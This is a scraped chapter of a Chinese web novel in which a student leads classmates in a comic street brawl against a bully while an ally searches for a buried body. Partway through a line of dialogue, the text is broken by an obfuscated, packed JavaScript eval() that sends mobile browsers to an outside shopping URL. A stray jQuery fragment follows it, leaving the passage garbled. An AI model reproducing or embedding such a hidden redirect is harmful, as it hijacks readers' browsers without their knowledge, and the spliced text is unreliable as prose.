文趣网 > 其他小说 > 国子监今天扩招了吗 > 15. 打群架
    前些日子吴圭被李观途收拾了一遍,实在是大快人心。

    陆辛微难得起了个大早,哼着小曲儿来到讲堂。

    她的同桌李元徽已经到了,如往常一样坐在位置上温书。

    陆辛微心道,这小哑巴还挺用功的,唉,可惜了。

    她心生怜悯,默默走过去,将手里的一盒甜酥放在他的桌上。李元徽抬头,疑惑地看了看她。

    “看书多费脑子,容易饿的。给你吃。”她笑了笑,十分大方道。

    李元徽的耳朵肉眼可见地红了起来,他抿了抿唇,不好意思地在纸上写下几句:多谢,我不饿。还有,国子监外有人找你。

    陆辛微看完,了然地点了点头。

    她以为是道弘差人来找她的,却没想到来人居然是李宣宁。

    而且李宣宁的身边还站了个三十几岁的青年,乍一眼看过去,长得十分英武高大。他龙章风姿,气质不凡,看人的时候还总带着股隐隐的威压。虽然只穿着低调的粗布麻衣,但陆辛微一看就觉得他不是什么俗人。

    李宣宁对陆辛微笑着介绍道:“这位是李大哥,道弘大师的好友,特意前来帮忙的。”

    李大哥咧嘴一笑,笑容爽朗,只听他十分热情地说道:“想不到国子监还有陆小兄弟这样正直勇敢的学生,就像大侠一样,李某钦佩。”

    陆辛微毫不心虚地接受了他的夸赞,甚至觉得和他一见如故,颇有些骄傲自得地回应:“李大哥,都是自己人,不用夸我。不过你说的对,我最喜欢当大侠了!”

    李宣宁掩唇一笑:“好,陆大侠,道弘大师说你拜托他的事,他已经完成了,接下来就看你的了。”

    “成,没问题!”陆辛微颇为自信地拍了拍胸脯。

    李大哥说:“有什么忙,尽管告诉你李大哥!”

    陆辛微点点头,抱拳道:“三日后,劳烦李大哥和我们一起行动!”

    她和他们秘密地说完计划后,又回到讲堂听学。

    今日国子监的学生们显然心思不在学习上,满身满心充斥着躁动的情绪。

    夫子在上面讲课,学生们在底下传纸条。

    一个接着一个的纸条犹如一朵又一朵的雪花,漫天飞扬。

    陆辛微接到了苏丘吾的字条,上面写着:陆兄,我们啥时候行动?

    陆辛微写道:三日后,喊上松阳院的兄弟一起。

    过了会儿,她又接到陈献山的字条:你确定能行?吴圭真的会这么傻缺?

    陆辛微满不在乎地写道:你啥时候见过他聪明一回?

    紧跟其后的,是无数同砚的字条。

    他们都在问陆辛微关于这场围剿吴圭行动的具体计划,因为他们都怀着一腔热血,早看吴圭不顺眼了,如今有报复回去的机会,他们纷纷想要加入。

    不然怎么都是学兵科的呢,学兵科就要带着这种慷慨豪迈的激情!

    满世界似乎只有李元徽安安静静地坐着,仿佛这个讲堂与他无关。

    就在陆辛微不知道扔了第几个字条之后,窗外猛地传进来一声暴喝:“陆辛微苏丘吾陈献山,给我到外面站着去!”

    三人被吼得登时一愣,齐刷刷一扭头,却发现俞匡衡不知何时悄无声息地站在窗外,正眼神幽怨地瞪着他们。

    陆辛微无奈地耸耸肩。满堂扔纸条的人,最后就逮了他们三个杀鸡儆猴。

    不过俞匡衡以为这就结束了吗?

    不,远远不止。

    三日后,沈效真和俞匡衡两脸懵逼地看着眼前空荡荡的松阳院和国子监。

    杳无人烟,风卷落花,格外凄凉。

    冷清的就像是蝗灾过后的麦田。

    咋回事?全逃课了?还有没有王法了?农民军起义了这是去造反了?

    然后沈效真和俞匡衡在两院相隔的月洞门相遇。

    沈效真惊讶地瞪大眼睛,哑了半晌,最后不可置信地问道:“……国子监也没人了?”

    俞匡衡闭了闭眼睛,绝望地点点头。“……你的松阳院也是?”

    沈效真:“……”

    俞匡衡:“……”

    他们二人面面相觑,相对无言,唯有泪千行。

    有一瞬间,他们从彼此的眼里都读到了那种最纯粹最淳朴的崩溃——辞官吧,毁灭吧,就这样吧,谁爱干谁干。

    此时的朱雀大街,热闹非常,可谓是瓢盆满天飞,蔬果地上撒,鸡飞狗跳,沸反盈天。

    陆辛微提着一根半人高的木棍,一手叉着腰,威风凛凛地站在前头。而她的身后,站着无数国子监与松阳院的学生。

    青色襕衫的衣袖已被束起,扎发的红色发带迎风飘扬,末梢还挂着两只铜色的小铃铛。她笑容明媚狡黠,咧开嘴还露出两颗小虎牙,像是个意气风发的大侠。

    吴圭眼见被这群可恶的家伙拦住去路,他通红着双眼,龇牙咧嘴地瞪着她,不禁绝望地吼道:“陆辛微!你到底想干什么——”

    “当然是要抓你呀。”陆辛微歪了歪头,一脸天真无邪,“很难理解吗?”

    “我跟你什么仇什么怨,你非得做到这份儿上!”

    “哟,大哥,你记性真差。”陆辛微扬了扬眉,“我跟你什么仇什么怨,你当初又凭什么事事都要和我过不去?”

    苏丘吾站在她的身后,愤愤不平道:“陆兄,和这种人有什么好说的,赶快动手吧,让我们好好教训他!”

    陆辛微回头,示意不急:“好歹给李大哥一点时间。”

    说罢,她复看向吴圭:“吴圭,你这是急匆匆地带着人要去哪儿啊?我看这个方向,是西郊的那片荒地吧。”

    吴圭一阵心虚,声音弱了下来:“你……关你什么事!”

    “怎么,不敢说了?杀人的时候怎么敢的?”

    “你!”吴圭被刺激到了,指着她,气得全身发抖。

    陆辛微也不想跟他废话了,于是朗声说道:“兄弟们,吴圭欺人太甚,伤我同砚,害我同胞,他却逍遥法外,猖獗嚣张。朝为田舍郎,暮登天子堂。将相本无种,男儿当自强。就算他是伯爵之子又如何?今日我们便替天行道,让他看看,国子监和松阳院的学生都不是好欺负的!”

    “冲呀——”

    松阳院和国子监的学生第一次抛弃了不和,异常团结地站在统一战线,纷纷呐喊应答,挥舞着拳头便冲了过去。

    什么菜叶子啊,臭鸡蛋啊,厚鞋垫啊,一股脑地全往吴圭和他的家仆身上砸。

    到了最后关头,哪怕是读书人都知道,拳头才是硬道理。至于诗书礼乐,那就全部还给圣人吧。

    过路的行人看见这一幕,忍不住好奇地停了下来,不动声色地观望着这场没有硝烟的战争。

    “哎,看他们的衣裳……是读书人吧?”

    “嚯,可不是,还是国子监和松阳院的呢。”

    “呀,读书人也当街打架啊?”

    “什么人急了,不都会急头白脸地打一架嘛,这有什么好稀奇的。”

    “还真挺稀奇的,我还没见过读书人打架呢。”

    陆辛微站在角落,冷静观察着混乱的人群。

    她眼尖地瞥见一个摸爬滚打,正打算偷偷溜走的人影。

    她登时一笑,一个轻功跃到那人面前,用棍子拦住了他眼前的路。“吴小公子,这是打算去哪儿啊?”

    吴圭这回彻底被折磨怕了,他收起张牙舞爪的气焰,反而开始求饶道:“求你了,陆大侠,你放过我吧……”

    “现在求饶,晚了。”

    “你到底要我怎样!”吴圭怒

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17617763|205791||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了,“你他娘的狗娘养的,老子对你客气你还蹬鼻子上脸了!”

    语音未落,他便提着拳头冲过去。

    但他的拳头甚至还没有碰到陆辛微的衣角,就被对方一棍子撂倒在地。

    那棍子压着他的膝盖,他顷刻觉得无力,疼的不行,加之前些日子因为鞭刑屁股蛋开了花,到现在还没好。这简直是雪上加霜,他不禁哀嚎:“贱人!你使了什么妖法,我的膝盖好痛!”

    “哼,打狗棍法,打的就是你。”陆辛微冷笑道。

    言罢,又是几棍子闷声打在吴圭的身上。

    疾痛惨怛,吴圭直喊爹娘。

    陆辛微抬首看了看日头,李大哥这会儿应该已经带着人找到吴圭的埋尸地点了。

    可以结束了。

    她举起手,准备喊他们收手。

    可不等她开口,刘投和马勉忽然如两道飓风,身手矫健,嗖的一下就把两拨人群隔开。

    国子监和松阳院的学生撸起袖子,意犹未尽。而吴圭和他的家仆们个个鼻青脸肿,形如败犬。

    哎呀,玩大了。陆辛微默默扔掉手里的棍子。

    李观途走过来,皱着眉头,冷冽的目光扫过两方人群。

    陆辛微本来想躲,可惜被猝不及防地揪住后领。

    “诶,殿下,别揪领子……”陆辛微可怜兮兮道。

    李观途不理她,脸色十分不好看:“走,回官衙。”

    夕阳渐沉,暮色苍茫。国子监和松阳院的学生齐聚官衙,灰头土脸地站在一旁,乖乖等着各自的先生领他们回去。

    官衙此刻十分安静,偶有虫鸣,学生们彼此相顾,又同时默契地闭紧了嘴巴。

    作为头号分子,本场群架最大的挑唆者,陆辛微被李观途提溜进了公堂。

    陆辛微自己也没好到哪儿去,灰尘沾了一脸。偏偏她还扬起一张笑脸,傻呵呵地对着李观途笑。

    李观途觉得她有病。

    陆辛微讪讪道:“殿下,我们这也算见义勇为吧?吴圭埋的那具尸是不是已经找到了?”

    李观途挑了挑眉,那眼神仿佛在说:继续说,我看你怎么狡辩。

    陆辛微识趣地低头,委屈道:“对不起,殿下,给你添麻烦了。”

    “陆辛微。”李观途开口。

    “在……”陆辛微扁了扁嘴,以为他要像往日般训人。

    “你若要教训人,再有顾忌,好歹要把他打个半死不活能昏迷十天半个月,吴圭现在还能生龙活虎地要向你讨说法,这算什么事?”

    “……啊?”陆辛微一愣。

    “揍人不能手下留情,尤其是对吴圭那种人。”李观途颇为头疼,“他现在很吵,很烦。”

    “……”

    陆辛微这下明白了李观途混世魔王的称号不是白来的,甚至可能京兆尹的身份还束缚了他本来的样子。

    她还能被人称小霸王呢,在李观途面前,她根本就是个新兵蛋子。

    “大人。”刘投进来禀报,“沈大人和俞大人都来了,沈大人已经领着松阳院的学生先回去了。”

    说完,他瞥了几眼陆辛微,欲言又止。

    陆辛微心领神会,率先抢道:“殿下,我回国子监了!”

    她乐呵呵地和李观途道别,雀跃地跨出大门。

    “呜啊!”

    刚走出门的她立即被俞匡衡揪住了耳朵。

    “小兔崽子,回去跟你算账!”只听俞匡衡恶狠狠地说道。

    “哎呀,先生你轻点,轻点,疼!”

    “陆辛微啊陆辛微,你可给我省点心吧!”

    “嘶,先生,我知错了嘛……”

    ……

    落日熔金,暮云合璧,一老一小的影子被逐渐拉长,消失在落日余晖中。